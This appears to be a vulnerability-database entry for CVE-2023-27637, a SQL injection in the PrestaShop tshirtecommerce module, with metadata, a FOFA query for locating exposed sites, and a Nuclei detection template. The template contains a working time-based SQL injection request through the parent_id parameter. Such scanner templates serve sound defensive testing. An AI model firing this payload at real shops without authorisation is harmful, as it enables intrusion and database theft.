SecurityContext

CVE-2023-27637: PrestaShop `tshirtecommerce` Module - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.03299
  • Epss percentile: 0.88829
  • Cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*

Metadata

  • Fofa-query: body="Prestashop" && body="tshirtecommerce"
  • Framework: prestashop
  • Max-request: 1
  • Product: custom_product_designer
  • Vendor: tshirtecommerce

Products

ProductIndexedUrl
tshirtecommerce:custom_product_designeryes/v1/products/tshirtecommerce/custom_product_designer

Labels

  • Name: tshirtecommerce - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
  • Remediation: Update to the latest version of tshirtecommerce or apply security patches to fix the insecure parameter handling.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-27637
  • Not known: requirements

```yaml

id: CVE-2023-27637

info:

name: PrestaShop `tshirtecommerce` Module - SQL Injection

author: ritikchaddha

severity: critical

description: |

The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.

impact: |

Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.

remediation: |

Update the tshirtecommerce module to the latest version and apply all security patches.

reference:

- https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html

- https://nvd.nist.gov/vuln/detail/CVE-2023-27637

- https://codecanyon.net/item/prestashop-custom-product-designer/19202018

- https://tshirtecommerce.com/

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-27637

cwe-id: CWE-89

epss-score: 0.03299

epss-percentile: 0.88829

cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*

metadata:

max-request: 1

vendor: tshirtecommerce

product: custom_product_designer

framework: prestashop

fofa-query: body="Prestashop" && body="tshirtecommerce"

tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln

http:

- raw:

- |

@timeout: 30s

GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- "duration>=8"

- "status_code == 200"

- "contains(tolower(body), 'product not found')"

condition: and

digest: 4a0a00473045022007dd6cde63a4c036e270da69868a174b309451763110cedb02d7221a31d47a9f022100ef9c54315d047382fa5b0b4cca43e96b7ec3d120ad434e26d4a17db55b63b1cc:922c64590222798bb761d5b6d8e72950

```